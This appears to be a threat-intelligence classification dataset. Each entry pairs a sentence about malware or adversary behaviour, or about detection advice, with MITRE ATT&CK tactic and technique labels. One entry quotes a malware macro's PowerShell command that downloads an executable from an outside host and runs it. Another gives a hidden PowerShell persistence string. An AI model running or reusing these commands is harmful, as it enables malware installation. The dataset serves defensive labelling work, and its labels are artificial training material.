madox81/Adema_ATTACK_DS huggingface dataset:
Input: The log files mentioned previously are stored in the same directory as NavRAT on the victim machine, again making it easy for us to find and analyse the additional log files

Tactics: TA0007, TA0009, TA0011
Techniques: T1090.003, T1083, T1105, T1090, T1074
Input: There is a variant of RATANKBA that uses a PowerShell script instead of the traditional PE form.

Tactics: TA0002
Techniques: T1059.001, T1059
Input: Monitor for the use of Access Tokens to access services such as Email that were created using SAML tokens which do not have corresponding 1202 events in the domain.

Tactics: TA0006
Techniques: T1606
Input: FinFisher uses DLL side-loading to load malicious programs.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.002, T1574
Input: BoxCaon has the capability to download folders' contents on the system and upload the results back to its Dropbox drive.

Tactics: TA0010
Techniques: T1567.002, T1567
Input: PoshC2 has a number of modules that use WMI to execute tasks.

Tactics: TA0002
Techniques: T1047
Input: GuLoader can use a number of different APIs for discovery and execution.

Tactics: TA0002
Techniques: T1106
Input: Lazarus Group has used mshta.exe to execute HTML pages downloaded by initial access documents.

Tactics: TA0005
Techniques: T1218.005, T1218
Input: Attor has used FTP protocol for C2 communication.

Tactics: TA0011
Techniques: T1071.002, T1071
Input: Revenge RAT has the ability to upload and download files.

Tactics: TA0011
Techniques: T1105
Input: POWERSTATS's backdoor code is a multi-layer obfuscated, encoded, and compressed blob.

Tactics: TA0005
Techniques: T1027
Input: Mustang Panda has used an additional filename extension to hide the true file type.

Tactics: TA0005
Techniques: T1036, T1036.007
Input: During our initial research into the TwoFace++ loader, we were unable to extract the embedded payload using the same brute forcing technique that we used on the initial TwoFace loader samples

Tactics: TA0006
Techniques: T1110
Input: Monitor for changes made to windows registry keys and/or values that may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.

Tactics: TA0003, TA0004
Techniques: T1546
Input: NanoCore creates a RunOnce key in the Registry to execute its VBS scripts each time the user logs on to the machine.

Tactics: TA0003, TA0004
Techniques: T1547.001, T1547
Input: Monitor and analyze traffic flows that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, or gratuitous or anomalous traffic patterns).

Tactics: TA0011, TA0010
Techniques: T1030, T1071.002, T1071, T1071.003
Input: Upon finding a vulnerable version, exploit code is delivered to the browser.

Tactics: TA0001
Techniques: T1189
Input: MechaFlounder has the ability to identify the username and hostname on a compromised host.

Tactics: TA0007
Techniques: T1033
Input: Lazarus Group has used code signing certificates issued by Sectigo RSA for some of its malware and tools.

Tactics: TA0042
Techniques: T1588, T1588.003
Input: In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware.

Tactics: TA0002, TA0005
Techniques: T1610
Input: The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals.

Tactics: TA0007
Techniques: T1049
Input: The AES key is unique for each communication and is encrypted with one of two RSA public keys

Tactics: TA0011
Techniques: T1573
Input: Lucifer has the ability to identify the username on a compromised host.

Tactics: TA0007
Techniques: T1033
Input: Stuxnet used a digitally signed driver with a compromised Realtek certificate.

Tactics: TA0005
Techniques: T1553, T1553.002
Input: Taidoor can search for specific files.

Tactics: TA0007
Techniques: T1083
Input: DarkHydrus has sent malware that required users to hit the enable button in Microsoft Excel to allow an .iqy file to be downloaded.

Tactics: TA0002
Techniques: T1204.002, T1204
Input: BLINDINGCAN has encoded its C2 traffic with Base64.

Tactics: TA0011
Techniques: T1132.001, T1132
Input: GuLoader has the ability to perform anti-debugging based on time checks, API calls, and CPUID.

Tactics: TA0005, TA0007
Techniques: T1497, T1497.003
Input: Stuxnet used copies of .lnk shortcuts to propagate through removable media.

Tactics: TA0003, TA0004
Techniques: T1547.009, T1547
Input: Monitor for code artifacts associated with reflectively loading code, such as the abuse of .NET functions such as Assembly.Load() and Native API functions such as CreateThread(), memfd_create(), execve(), and/or execveat().

Tactics: TA0005
Techniques: T1620
Input: APT37 executes shellcode and a VBA script to decode Base64 strings.

Tactics: TA0002
Techniques: T1059.005, T1059
Input: Fysbis has masqueraded as the rsyncd and dbus-inotifier services.

Tactics: TA0005
Techniques: T1036.004, T1036
Input: The Registry contains a significant amount of information about the operating system, configuration, software, and security.

Tactics: TA0007
Techniques: T1012
Input: CookieMiner has retrieved iPhone text messages from iTunes phone backup files.

Tactics: TA0009
Techniques: T1005
Input: 4H RAT has the capability to create a remote shell.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: Pysa has the capability to stop antivirus services and disable Windows Defender.

Tactics: TA0005
Techniques: T1562.001, T1562
Input: On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets.

Tactics: TA0006
Techniques: T1558
Input: Cobalt Strike can use a custom command and control protocol that can be encapsulated in DNS.

Tactics: TA0011
Techniques: T1071.004, T1071
Input: Although this API is deprecated, it still fully functions in the latest releases of macOS.

Tactics: TA0004, TA0005
Techniques: T1548.004, T1548
Input: ECCENTRICBANDWAGON can use cmd to execute commands on a victim’s machine.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: This is attack vector presents interesting problems, as blocking or restricting the use of WMIC may not be a feasible solution for some administrators

Tactics: TA0002
Techniques: T1047
Input: Cobalt Strike's Beacon payload can collect information on process details.

Tactics: TA0007
Techniques: T1057
Input: LoudMiner used an MSI installer to install the virtualization software.

Tactics: TA0005
Techniques: T1218, T1218.007
Input: All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.

Tactics: TA0008
Techniques: T1563.002, T1563
Input: Egregor contains functionality to query the local/system time.

Tactics: TA0007
Techniques: T1124
Input: Consider correlating with application monitoring for inidcation of unplanned service interrputions or unauthorized content changes.

Tactics: TA0040
Techniques: T1491
Input: Empire can harvest clipboard data on both Windows and macOS systems.

Tactics: TA0009
Techniques: T1115
Input: Also, the x command will delete the generated registry key and the Office365DCOMCheck/SystemDiskClean scheduled task

Tactics: TA0005
Techniques: T1070, T1070.004
Input: Honeybee drops a Word file containing a Base64-encoded file in it that is read, decoded, and dropped to the disk by the macro.

Tactics: TA0005
Techniques: T1140
Input: Taidoor can perform DLL loading.

Tactics: TA0004, TA0005
Techniques: T1055, T1055.001
Input: When, finally, the first stage shellcode receives a special “FF” signal, it then executes the delivered shellcode

Tactics: TA0002
Techniques: T1059
Input: When it first starts, BADNEWS crawls the victim's mapped drives and collects documents with the following extensions: .doc, .docx, .pdf, .ppt, .pptx, and .txt.

Tactics: TA0009
Techniques: T1039
Input: Keydnap uses a Launch Agent to persist.

Tactics: TA0003, TA0004
Techniques: T1543.001, T1543
Input: HAFNIUM has exfiltrated data to file sharing sites, including MEGA.

Tactics: TA0010
Techniques: T1567.002, T1567
Input: Fysbis has the ability to delete files.

Tactics: TA0005
Techniques: T1070, T1070.004
Input: Pupy can drop a mouse-logger that will take small screenshots around at each click and then send back to the server.

Tactics: TA0009
Techniques: T1113
Input: RCSession can use cmd.exe for execution on compromised hosts.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller.

Tactics: TA0006
Techniques: T1552.001, T1552
Input: Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed.

Tactics: TA0003, TA0004
Techniques: T1546.015, T1546
Input: APT29 has used multiple command-line utilities to enumerate running processes.

Tactics: TA0007
Techniques: T1057
Input: Volgmer can download remote files and additional payloads to the victim's machine.

Tactics: TA0011
Techniques: T1105
Input: For example, Internet Server Application Programming Interface (ISAPI) extensions and filters can be installed to examine and/or modify incoming and outgoing IIS web requests.

Tactics: TA0003
Techniques: T1505.004, T1505
Input: MuddyWater has used developed tools in Python including Out1.

Tactics: TA0002
Techniques: T1059.006, T1059
Input: JPIN contains a custom keylogger.

Tactics: TA0006, TA0009
Techniques: T1056.001, T1056
Input: Queued APC functions are executed when the thread enters an alterable state.

Tactics: TA0004, TA0005
Techniques: T1055.004, T1055
Input: Bazar has been spread via emails with embedded malicious links.

Tactics: TA0001
Techniques: T1566, T1566.002
Input: Pillowmint has used multiple native Windows APIs to execute and conduct process injections.

Tactics: TA0002
Techniques: T1106
Input: APT33 has used a publicly available exploit for CVE-2017-0213 to escalate privileges on a local system.

Tactics: TA0004
Techniques: T1068
Input: SUNSPOT only replaces SolarWinds Orion source code if the MD5 checksums of both the original source code file and backdoored replacement source code match hardcoded values.

Tactics: TA0005
Techniques: T1480
Input: Sandworm Team has run the  xp_cmdshell command in MS-SQL.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: Valak has used packed DLL payloads.

Tactics: TA0005
Techniques: T1027.002, T1027
Input: MoonWind saves information from its keylogging routine as a .zip file in the present working directory.

Tactics: TA0009
Techniques: T1074.001, T1074
Input: PowerSploit's Get-TimedScreenshot Exfiltration module can take screenshots at regular intervals.

Tactics: TA0009
Techniques: T1113
Input: Night Dragon has disabled anti-virus and anti-spyware tools in some instances on the victim’s machines.

Tactics: TA0005
Techniques: T1562.001, T1562
Input: Gelsemium has the ability to use various Windows API functions to perform tasks.

Tactics: TA0002
Techniques: T1106
Input: Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files.

Tactics: TA0005
Techniques: T1220
Input: Magic Hound has used SMS and email messages with links designed to steal credentials.

Tactics: TA0043
Techniques: T1598, T1598.003
Input: To assist in establishing persistence, RogueRobin creates %APPDATA%\OneDrive.bat and saves the following string to it:powershell.exe -WindowStyle Hidden -exec bypass -File "%APPDATA%\OneDrive.ps1".

Tactics: TA0002
Techniques: T1059.001, T1059
Input: APT32 has used PubPrn.vbs within execution scripts to execute malware, possibly bypassing defenses.

Tactics: TA0005
Techniques: T1216.001, T1216
Input: - Shusei Tomonaga (For any inquiry or incident report regarding PlugX, please contact info[at]jpcert.or.jp)  Appendix A: Entire Configuration of P2P PlugX Table 3: Entire Configuration of P2P PlugX   Offset Length Description   0x0000 20 Not used   0x0014 4 Flag if remove own DLL from list of modules   0x0018 4 Flag enable/disable key logger   0x001c 12 Not used   0x0028 4 Duration of suspend activity   0x002c 4 Duration of suspend activity   0x0030 672 Network Access Flag (for a week with 15min interval)   0x02d0 4 * 4 DNS Server IP Address x 4   0x02e0 68 * 16 control Server Information x 16   0x0720 128 * 16 HTTP Access URL x 16   0x0f20 196 * 4 Proxy/authentication config x 4   0x1230 4 Method to make it resident (e.g

Tactics: TA0005, TA0007, TA0011
Techniques: T1071, T1562.001, T1016, T1562
Input: Some server-side components of adversary tools may have default values set for SSL/TLS certificates.

Tactics: TA0042
Techniques: T1588.004, T1588
Input: Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.

Tactics: TA0011
Techniques: T1071.004, T1071
Input: Adversaries may attempt to dump the contents of /etc/passwd and /etc/shadow to enable offline password cracking.

Tactics: TA0006
Techniques: T1003, T1003.008
Input: Transparent Tribe has registered domains to mimic file sharing, government, defense, and research websites for use in targeted campaigns.

Tactics: TA0042
Techniques: T1583.001, T1583
Input: KOCTOPUS has deobfuscated itself before executing its commands.

Tactics: TA0005
Techniques: T1140
Input: jRAT can list local services.

Tactics: TA0007
Techniques: T1007
Input: Once malicious rules have been added to the user’s mailbox, they will be loaded when Outlook is started.

Tactics: TA0003
Techniques: T1137, T1137.005
Input: Kimsuky has executed malware with regsvr32s.

Tactics: TA0005
Techniques: T1218, T1218.010
Input: Diavol has encrypted files using an RSA key though the CryptEncrypt API and has appended filenames with ".lock64".

Tactics: TA0040
Techniques: T1486
Input: More_eggs has the capability to gather the IP address from the victim's machine.

Tactics: TA0007
Techniques: T1016
Input: WindTail can identify and add files that possess specific file extensions to an array for archiving.

Tactics: TA0009
Techniques: T1119
Input: There are several public tools available that will detect shims that are currently available :* Shim-Process-Scanner - checks memory of every running process for any shim flags* Shim-Detector-Lite - detects installation of custom shim databases* Shim-Guard - monitors registry for any shim installations* ShimScanner - forensic tool to find active shims in memory* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)

Tactics: TA0003, TA0004
Techniques: T1546, T1546.011
Input: Bisonal has used the RegQueryValueExA function to retrieve proxy information in the Registry.

Tactics: TA0007
Techniques: T1012
Input: Modification to existing services should not occur frequently.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.011, T1574
Input: Adversaries may abuse mmc.exe to proxy execution of malicious .msc files.

Tactics: TA0005
Techniques: T1218, T1218.014
Input: XCSSET collects contacts and application data from files in Desktop, Documents, Downloads, Dropbox, and WeChat folders.

Tactics: TA0009
Techniques: T1005
Input: GoldMax can check the current date-time value of the compromised system, comparing it to the hardcoded execution trigger and can send the current timestamp to the C2 server.

Tactics: TA0007
Techniques: T1124
Input: APT28 has exploited CVE-2014-4076, CVE-2015-2387, CVE-2015-1701, CVE-2017-0263 to escalate privileges.

Tactics: TA0004
Techniques: T1068
Input: In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.

Tactics: TA0040
Techniques: T1486
Input: Anchor can establish persistence by creating a service.

Tactics: TA0003, TA0004
Techniques: T1543.003, T1543
Input: RainyDay can use the Windows Command Shell for execution.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: For example, if the path in a shortcut is C:\program files\myapp.exe, an adversary may create a program at C:\program.exe that will be run instead of the intended program.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.009, T1574
Input: CMSTP.exe may not be necessary within a given environment (unless using it for VPN connection installation).

Tactics: TA0005
Techniques: T1218, T1218.003
Input: HAWKBALL has encrypted the payload with an XOR-based algorithm.

Tactics: TA0005
Techniques: T1027
Input: Kazuar is obfuscated using the open source ConfuserEx protector.

Tactics: TA0005
Techniques: T1027
Input: Consider adding users to the "Protected Users" Active Directory security group.

Tactics: TA0006
Techniques: T1003, T1003.005
Input: USBferry can detect the infected machine's network topology using ipconfig and arp.

Tactics: TA0007
Techniques: T1016
Input: Monitor for replication requests  from IPs not associated with known domain controllers.

Tactics: TA0006, TA0007
Techniques: T1033, T1003
Input: Get2 has the ability to identify the computer name and Windows version of an infected host.

Tactics: TA0007
Techniques: T1082
Input: Stealth Falcon malware gathers a list of running processes.

Tactics: TA0007
Techniques: T1057
Input: Flagpro can download malicious files with a .tmp extension and append them with .exe prior to execution.

Tactics: TA0005
Techniques: T1036
Input: ABK has the ability to decrypt AES encrypted payloads.

Tactics: TA0005
Techniques: T1140
Input: CTU researchers identified BRONZE UNION actors using a file named ms.exe that was likely a credential-abuse tool from the Kekeo toolset

Tactics: TA0005
Techniques: T1036
Input: NETWIRE can implement use of proxies to pivot traffic.

Tactics: TA0011
Techniques: T1090
Input: Frankenstein has used WMI queries to detect if virtualization environments or analysis tools were running on the system.

Tactics: TA0007
Techniques: T1518.001, T1518
Input: FIN7 used the command prompt to launch commands on the victim’s machine.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).

Tactics: TA0011
Techniques: T1102
Input: Similar to System Binary Proxy Execution, adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.

Tactics: TA0002, TA0003, TA0004
Techniques: T1053
Input: Frankenstein has enumerated hosts, looking to obtain a list of all currently running processes.

Tactics: TA0007
Techniques: T1057
Input: In an Exchange environment, Administrators can use Get-InboxRule to discover and remove potentially malicious auto-forwarding rules..

Tactics: TA0009
Techniques: T1114, T1114.003
Input: Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior.

Tactics: TA0003, TA0004
Techniques: T1546, T1546.007
Input: Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components.

Tactics: TA0003
Techniques: T1505.002, T1505
Input: ShadowPad has decrypted a binary blob to start execution.

Tactics: TA0005
Techniques: T1140
Input: Whitefly first infects its victims using a dropper in the form of a malicious .exe or .dll file that is disguised as a document or image.

Tactics: TA0002
Techniques: T1204
Input: CSPY Downloader can use GET requests to download additional payloads from C2.

Tactics: TA0011
Techniques: T1071, T1071.001
Input: Turla has also exfiltrated stolen files to OneDrive and 4shared.

Tactics: TA0010
Techniques: T1567.002, T1567
Input: KeyBoy uses custom SSL libraries to impersonate SSL in C2 traffic.

Tactics: TA0011
Techniques: T1001, T1001.003
Input: If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data.

Tactics: TA0006
Techniques: T1558, T1558.004
Input: Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Tactics: TA0007
Techniques: T1083
Input: Additionally, adversaries may leverage such control in conjunction with Digital Certificates to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications.

Tactics: TA0042
Techniques: T1584.002, T1584
Input: Ragnar Locker encrypts files on the local machine and mapped drives prior to displaying a note demanding a ransom.

Tactics: TA0040
Techniques: T1486
Input: APIs and strings in some TYPEFRAME variants are RC4 encrypted.

Tactics: TA0005
Techniques: T1027
Input: Pillowmint can iterate through running processes every six seconds collecting a list of processes to capture from later.

Tactics: TA0007
Techniques: T1057
Input: Monitor for changes made to scheduled jobs for unexpected modifications to execution launch

Tactics: TA0005
Techniques: T1036.004, T1036
Input: Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files.

Tactics: TA0009
Techniques: T1113
Input: H1N1 encrypts C2 traffic using an RC4 key.

Tactics: TA0011
Techniques: T1573, T1573.001
Input: Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets.

Tactics: TA0006
Techniques: T1552, T1552.005
Input: Lazarus Group has used malware like WhiskeyAlfa to overwrite the first 64MB of every drive with a mix of static and random buffers.

Tactics: TA0040
Techniques: T1561.001, T1561
Input: Kwampirs collects OS version information such as registered owner details, manufacturer details, processor type, available storage, installed patches, hostname, version info, system date, and other system information by using the commands systeminfo, net config workstation, hostname, ver, set, and date /t.

Tactics: TA0007
Techniques: T1082
Input: Monitor for files being accessed that may attempt to dump the contents of /etc/passwd and /etc/shadow to enable offline password cracking.

Tactics: TA0006
Techniques: T1003, T1003.008
Input: Develop and publish policies that define acceptable information to be stored in repositories.

Tactics: TA0009
Techniques: T1213
Input: TA505 has used lures to get users to click links in emails and attachments.

Tactics: TA0002
Techniques: T1204, T1204.001
Input: CrackMapExec can brute force supplied user credentials across a network range.

Tactics: TA0006
Techniques: T1110
Input: PipeMon has stored its encrypted payload in the Registry.

Tactics: TA0005
Techniques: T1112
Input: The macro downloads a payload from hxxp://lokipanelhostingpanel[.]gq/work/kh/1.exe (SHA256: 84ed59953f57f5927b9843f35ca3c325155d5210824d3b79b060755827b51f72) by running the following command line process:cmd.exe /c powershell -W Hidden (New-Object System.NeT.WeBClieNT).DownloadFile('http://lokipanelhostingpanel[.]gq/work/kh/1.exe','%Public%\\\\svchost32.exe');Start-Process '%Public%\\\\svchost32.exeThe macro then attempts to kill Microsoft Office and Windows Defender processes using the ‘taskkill’ command

Tactics: TA0004, TA0005, TA0007
Techniques: T1057, T1055.012, T1055
Input: Code signing to verify software on first run can be used on modern Windows and macOS/OS X systems.

Tactics: TA0005
Techniques: T1553, T1553.002
Input: Turla surveys a system upon check-in to discover files in specific locations on the hard disk %TEMP% directory, the current user's desktop, the Program Files directory, and Recent.

Tactics: TA0007
Techniques: T1083
Input: The version used here is version 4.1 digitally signed by Notepad++, as shown in Figure 5

Tactics: TA0005
Techniques: T1553, T1553.002
Input: WastedLocker checked if UCOMIEnumConnections and IActiveScriptParseProcedure32 Registry keys were detected as part of its anti-analysis technique.

Tactics: TA0005, TA0007
Techniques: T1497, T1497.001